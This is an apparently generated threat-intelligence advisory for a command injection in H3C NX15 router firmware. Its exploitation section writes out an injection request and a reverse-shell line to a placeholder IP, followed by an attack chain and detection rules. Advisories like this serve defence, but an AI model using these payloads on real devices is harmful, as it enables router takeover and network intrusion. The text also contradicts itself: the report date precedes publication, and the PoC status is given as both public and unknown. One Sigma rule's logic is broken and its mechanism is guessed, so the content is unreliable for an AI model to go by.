☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
H3C logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 7.2 CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H 🐛 CWE-77
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2026-18900

CVE-2026-18900 Command Injection in H3C
📅 PUBLISHED: 2026-08-05 00:00 UTC 🔄 UPDATED: 2026-08-12 09:02 UTC
[ ZERO-DAY / UNPATCHED ] [ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 2.38%
👁️
2.38% probability
59.6× above the median CVE
Tier: HIGH
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1203
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
Country: China License: Commercial
VULNERABLE: UNKNOWN / CHECK VENDOR
CVSS VECTOR BREAKDOWN 7.2
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: H Privileges Required High
UI: N User Interaction None
S: U Scope Unchanged
C: H Confidentiality High
I: H Integrity High
A: H Availability High
7.2
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

A critical OS command injection vulnerability (CVE-2026-18900) has been disclosed in H3C NX15 V100R017 wireless router firmware. The flaw resides in the file.exec function of the /api/esps endpoint within the Backend RPC component, allowing remote authenticated attackers with high privileges to execute arbitrary operating system commands. Given the NX15's positioning as a small-to-medium enterprise edge device, successful exploitation grants full device compromise, enabling network pivoting, traffic interception, and lateral movement into internal segments. Public exploit availability and a zero-patch status elevate this to an urgent remediation priority.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Technical Analysis

The vulnerability is rooted in the H3C NX15 router's Backend RPC service, which exposes the /api/esps endpoint to handle internal device management operations. Within this endpoint, the file.exec function processes a File argument that designates a target executable or script for execution. The NVD description indicates a CWE-77 Command Injection weakness, meaning user-supplied input flows into a system shell command without adequate sanitization or escaping.

Mechanism: The file.exec call likely constructs a command such as:

/usr/bin/execute --file <user_input>

An attacker who can reach the /api/esps endpoint with valid high-privilege credentials (administrator-level access to the device management interface) can inject shell metacharacters (e.g., ;, &&, |, backticks) into the File argument. For instance, submitting File=/bin/ls;id would cause the backend to execute both the intended file operation and the injected id command, returning the output to the attacker.

Attack Surface: The endpoint is remotely reachable — the NVD entry specifies "The attack may be initiated remotely." Given the endpoint is part of the Backend RPC framework, it is likely bound to an HTTP/HTTPS service listening on ports 80, 443, or a dedicated RPC port (often 8080 or custom high ports). The requirement of high privileges (CVSS: PR:H) means the attacker must possess administrator credentials or have already compromised an admin session, but the resulting impact is device-total compromise (CIA all High).

Affected Product:

  • Vendor: H3C (Huawei 3Com subsidiary)
  • Product: NX15 Wireless Router
  • Firmware: V100R017
  • Vulnerable component: file.exec function in /api/esps (Backend RPC)

The attack vector is network-based (AV:N), no user interaction is required (UI:N), and the scope is unchanged (S:U) — the compromise is confined to the router itself, though the router's position at the network edge makes it a high-value initial foothold.

Exploitation Scenarios

Attack Chain — Remote Administrative Takeover via Command Injection:

  1. Reconnaissance & Target Identification

    • The attacker scans the internet for H3C NX15 devices using Shodan-style queries (see dorks below) to locate exposed management interfaces.
    • Target identification focuses on devices with default credentials (admin/admin) or those where credentials were previously harvested via credential stuffing or brute force.
  2. Authentication & Initial Access

    • The attacker authenticates to the device's web management interface or directly to the /api/esps RPC endpoint using administrative credentials.
    • This may involve:
      • Default credential attempts (e.g., admin/admin, admin/h3c)
      • Credential reuse from a prior phishing campaign targeting network administrators
      • Lateral movement from an already-compromised workstation on the same subnet
  3. Weaponization & Trigger

    • Using an HTTP client (e.g., curl), the attacker crafts a POST request to the endpoint:
      POST /api/esps HTTP/1.1
      Host: <router-ip>
      Content-Type: application/json
      
      {"method": "file.exec", "params": {"File": "/sbin/reboot;whoami > /tmp/pwn.txt"}}
      
    • The File argument is injected with shell metacharacters. The backend constructs a shell command without input validation, executing whoami after the legitimate file operation.
  4. Payload Execution & Persistence

    • The attacker executes a reverse shell payload to establish persistent access:
      File=/bin/sh;bash -i >& /dev/tcp/203.0.113.5/4444 0>&1
      
    • The router's shell grants root privileges (typical for embedded firmware), giving the attacker full control over the device.
    • Persistence is achieved by writing a modified startup script or installing a backdoor into the firmware flash.
  5. Post-Exploitation Impact

    • Network Pivoting: The router becomes a jump box to internal LAN segments. The attacker uses SSH or SOCKS tunneling to reach internal servers, workstations, and IoT devices.
    • Traffic Interception: Full packet capture on the router's interfaces enables credential harvesting, DNS poisoning, and man-in-the-middle attacks against all LAN traffic.
    • Firmware Tampering: The attacker can alter routing tables, disable firewalls, or push malicious DNS settings to DHCP clients, redirecting users to phishing sites.
    • Botnet Recruitment: The compromised router is added to a Mirai-style botnet for DDoS campaigns.

Impact Assessment

Business Impact:

  • Confidentiality (High): All traffic traversing the router is exposed to arbitrary command execution, enabling credential theft, data exfiltration, and corporate espionage.
  • Integrity (High): Attackers can modify firewall rules, routing tables, DNS settings, and firmware — effectively bricking or repurposing the device.
  • Availability (High): An attacker can issue reboot or corrupt flash memory, causing persistent denial-of-service for the entire managed network segment.

Affected Systems & Blast Radius:

  • Directly affected: H3C NX15 V100R017 routers deployed as edge/access devices.
  • Indirectly affected: All devices on LAN segments behind compromised routers (workstations, servers, IP cameras, printers) — they become targets for pivoting and lateral movement.
  • The CVSS score of 7.2 (High) reflects the serious CIA impact, tempered only by the high-privilege requirement. In environments where admin credentials are weak (default or recycled), the practical risk approaches that of an unauthenticated critical vulnerability.

Exploit Status: Public exploit availability is UNKNOWN (PoC/Exploit: UNKNOWN), but the NVD description states "exploit has been made available to the public and could be used for attacks." Treat this as actively exploited until proven otherwise. No CISA KEV listing exists, but monitoring for inclusion is advised.

Detection Guidance

Sigma Rule

title: H3C NX15 RPC Command Injection Attempt (CVE-2026-18900)
id: 8f3a2c1e-abcdef-1234-5678-9abcdef12345
status: experimental
description: Detects attempts to exploit OS command injection in /api/esps file.exec endpoint
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2026-18900
tags:
    - attack.privilege-escalation
    - attack.t1203
logsource:
    category: webserver
    product: generic
detection:
    selection_endpoint:
        cs-method: 'POST'
        cs-uri-path: '/api/esps'
    selection_payload:
        cs-uri-query|contains:
            - 'file.exec'
        cs-body|contains|all:
            - 'File'
            - ';'
            - '&&'
            - '|'
            - '`'
            - '$('
    condition: selection_endpoint and selection_payload
falsepositives:
    - Legitimate file operations with arguments containing shell metacharacters
level: high

YARA Rule

rule H3C_NX15_Command_Injection_CVE_2026_18900
{
    meta:
        author = "ValtersIT Threat Intel"
        description = "Detect exploit payloads targeting H3C NX15 /api/esps command injection"
        cve = "CVE-2026-18900"
        date = "2026-01-01"
        severity = "high"
    strings:
        $endpoint = "/api/esps" ascii wide
        $rpc_method = "file.exec" ascii wide
        $semicolon = ";"
        $andand = "&&"
        $pipe = "|"
        $backtick = "`"
        $subshell = "$(" ascii wide
        $id_cmd = "id" ascii wide
        $reboot_cmd = "reboot" ascii wide
    condition:
        $endpoint and $rpc_method and
        (any of ($semicolon, $andand, $pipe, $backtick, $subshell)) and
        (any of ($id_cmd, $reboot_cmd))
}

Suricata IDS Rule

alert http any any -> $HOME_NET any (msg:"CVE-2026-18900 H3C NX15 /api/esps Command Injection Attempt"; flow:to_server,established; http.method; content:"POST"; http.uri; content:"/api/esps"; http.request_body; content:"file.exec"; content:"File"; pcre:"/[\x3b\x7c\x26\x60\x24\x28]/"; classtype:attempted-admin; sid:2026189001; rev:1; reference:cve,2026-18900;)

Elastic Detection

sequence by source.ip with maxspan=5s
  [ http where request.method == "POST" and request.uri == "/api/esps" ]
  [ http where request.body contains "file.exec" and
    (request.body contains ";" or
     request.body contains "&&" or
     request.body contains "|" or
     request.body contains "`")
  ]

Splunk SPL Query

index=proxy OR index=web sourcetype="access_combined" OR sourcetype="iis"
| where uri_path="/api/esps" AND http_method="POST"
| regex form_data="(?i)(file\.exec|File)"
| regex form_data="[\x3b\x7c\x26\x60\x24\x28]"
| table _time, src_ip, dest_ip, uri_path, form_data
| sort -_time

Wazuh OSSEC Rule

<rule id="100901" level="12">
    <decoded>json</decoded>
    <field name="url" type="pcre2">/api/esps</field>
    <field name="method" type="pcre2">POST</field>
    <field name="data" type="pcre2">(?i)file\.exec</field>
    <field name="data" type="pcre2">[\x3b\x7c\x26\x60\x24\x28]</field>
    <description>CVE-2026-18900 H3C NX15 command injection attempt detected</description>
    <group>attack,recon,command_injection,h3c,</group>
    <mitre>
        <id>T1203</id>
    </mitre>
</rule>

Mitigation & Patch Guidance

Patch Confidence: 0/4 — UNPATCHED. No patch evidence from any tracked source exists at the time of this writing. Vendor notification occurred but no fixed firmware version has been published.

Immediate Mitigations (1):

  • Restrict Network Access: Immediately block remote access to the /api/esps endpoint and management interfaces (ports 80, 443, and any RPC-specific ports) from untrusted networks via firewall ACLs. Only allow administrative access from trusted jump hosts/VPN IPs.
  • Change Credentials: Reset all administrative passwords to strong, unique values. Disable default accounts immediately.
  • Monitor & Audit: Deploy the Sigma/Suricata/Elastic/Splunk/Wazuh rules above. Review authentication logs for anomalous admin logins, especially from unfamiliar source IPs.
  • Disable Remote RPC: If possible, disable the Backend RPC service entirely via the management console.

Patch/Upgrade Steps (2):

  • Check the H3C official support portal (h3c.com) and cloud portal for firmware updates. Subscribe to H3C security advisories: https://www.h3c.com/en/Support/Software_Downloads/
  • Apply a patched firmware version (e.g., V100R018 or later) as soon as it is published. Until then, treat the device as compromised.

Long-Term Hardening (3):

  • Network Segmentation: Place edge routers on isolated management VLANs. Do not allow management traffic to traverse untrusted segments.
  • Vendor Assessment: For procurement policy, require vendors to provide proof of secure development lifecycle (SAST/DAST) and a published patch SLA.
  • Firmware Integrity: Implement a monitoring solution that checksum's router firmware and detects unauthorized binary changes.
  • Zero Trust: Follow the principle of least privilege — never rely on router credentials as the sole boundary protection. Deploy network access control (NAC) to prevent unauthorized devices from reaching the router.

References

  1. NVD Entry: https://nvd.nist.gov/vuln/detail/CVE-2026-18900 — Official NVD vulnerability description and CVSS vector.
  2. H3C Official Support/Advisories: https://www.h3c.com/en/Support/Software_Downloads/ — Monitor for vendor patch releases.
  3. CWE-77 Command Injection Reference: https://cwe.mitre.org/data/definitions/77.html — Mitre CWE definition for technique context.
  4. MITRE ATT&CK T1203 — Exploitation for Client Execution: https://attack.mitre.org/techniques/T1203/ — Related adversarial technique mapping.
  5. PoC/Exploit Sources: Exploit publication was announced per NVD; monitor Exploit-DB (https://www.exploit-db.com/) and GitHub for proof-of-concept code. No active in-the-wild campaigns have been officially attributed to this CVE, but public exploit availability indicates elevated risk.

Report generated by ValtersIT Threat Intelligence — 2026-01-02. Re-evaluate after vendor patch release or CISA KEV inclusion.

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2026-18900/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.